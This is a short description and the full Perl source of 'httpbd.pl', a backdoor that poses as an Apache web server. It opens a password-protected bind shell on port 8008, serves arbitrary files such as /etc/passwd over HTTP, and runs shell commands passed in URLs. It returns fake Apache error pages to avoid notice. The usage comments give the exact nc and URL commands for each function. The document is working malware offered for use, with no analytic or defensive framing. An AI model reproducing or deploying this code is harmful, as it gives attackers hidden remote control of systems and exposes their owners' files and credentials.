httpbd.pl is a small backdoor written in perl that poses as httpd. It can spawn a shell and transfer files.
4c76e48efa8f53ecefbcc332995f3f43f9bbe6b96ae6069e91f28c6a58d040fb#!/usr/bin/perl
# httpbd.pl Usage:
# 1. bind shell:
# nc target 8008
# ->SHELLPASSWORD{ENTER}{ENTER}
# 2. download files
# http://target:8008/file?/etc/passwd
# or
# http://target:8008/file?../some/file
# 3. http shell
# http://target:8008/shell?id;uname -a
# Author: [ rav3n nomail@host.com ]
use Socket;
$SHELL="/bin/sh -i";
$SHELLPASSWORD="skides";
$LISTENPORT="8008";
$HTTPFILECMD="file";
$HTTPSHELLCMD="shell";
$HTTP404= "HTTP/1.1 404 Not Found\n" .
"Date: Mon, 14 Jan 2002 03:19:55 GMT\n" .
"Server: Apache/1.3.22 (Unix)\n" .
"Connection: close\n" .
"Content-Type: text/html\n\n" .
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" .
"<HTML><HEAD>\n" .
"<TITLE>404 Not Found</TITLE>\n" .
"</HEAD><BODY>\n" .
"<H1>Not Found</H1>\n" .
"The requested URL was not found on this server.<P>\n" .
"<HR>\n" .
"<ADDRESS>Apache/1.3.22 Server at localhost Port $LISTENPORT</ADDRESS>\n" .
"</BODY></HTML>\n";
$HTTP400= "HTTP/1.1 400 Bad Request\n" .
"Server: Apache/1.3.22 (Unix)\n" .
"Date: Mon, 14 Jan 2002 03:19:55 GMT\n" .
"Cache-Control: no-cache,no-store\n" .
"Connection: close\n" .
"Content-Type: text/html\n\n" .
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n" .
"<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>" .
"<BODY>" .
"<H1>400 Bad Request</H1>Your request has bad syntax or is inherently impossible to satisfy.</BODY></HTML>\n";
$HTTP200= "HTTP/1.1 200 OK\n" .
"Cache-Control: no-cache,no-store\n" .
"Connection: close\n";
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind (S,sockaddr_in($LISTENPORT,INADDR_ANY)) || die "Cant open port\n";
listen (S,3) || die "Cant listen port\n";
while(1)
{
accept (CONN,S);
if(! ($pid=fork))
{
die "Cannot fork" if (! defined $pid);
close CONN;
}
else
{
$buf=<CONN>; chomp($buf); $buf=~s/\r//g;
M1:
while($s= <CONN>) {
if($s=~/^\r?\n$/) { last M1; }
}
if($buf eq $SHELLPASSWORD)
{
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
}
elsif($buf=~/^GET \/$HTTPFILECMD\?([^ ]+) HTTP\/1\.[01]$/)
{
$file=$1;
$file=~s/%([0-9a-f]{2})/chr(hex($1))/ge;
print CONN $HTTP200;
print CONN "Content-type: text/plain\n\n";
open (HTTPFILE,$file) || goto M2;
while(<HTTPFILE>)
{
print CONN $_;
}
close HTTPFILE;
}
elsif($buf=~/^GET \/$HTTPSHELLCMD\?([^ ]+) HTTP\/1\.[01]$/)
{
$shcmd=$1;
$shcmd=~s/%([0-9a-f]{2})/chr(hex($1))/ge;
$out=`$shcmd`;
print CONN $HTTP200;
print CONN "Content-type: text/html\n\n";
print CONN "<body bgcolor=black>\n<font color=white>\n";
print CONN "<pre>".$out."</pre></font></body>\n";
}
elsif($buf=~/^GET \/ HTTP\/1\.[01]$/)
{
print CONN $HTTP200;
print CONN "Content-type: text/plain\n\n";
}
elsif($buf=~/^GET (\/[^\/]+)+ HTTP\/1\.[01]$/)
{
print CONN $HTTP404;
}
else
{
print CONN $HTTP400;
}
M2:
close CONN;
exit 0;
}
}
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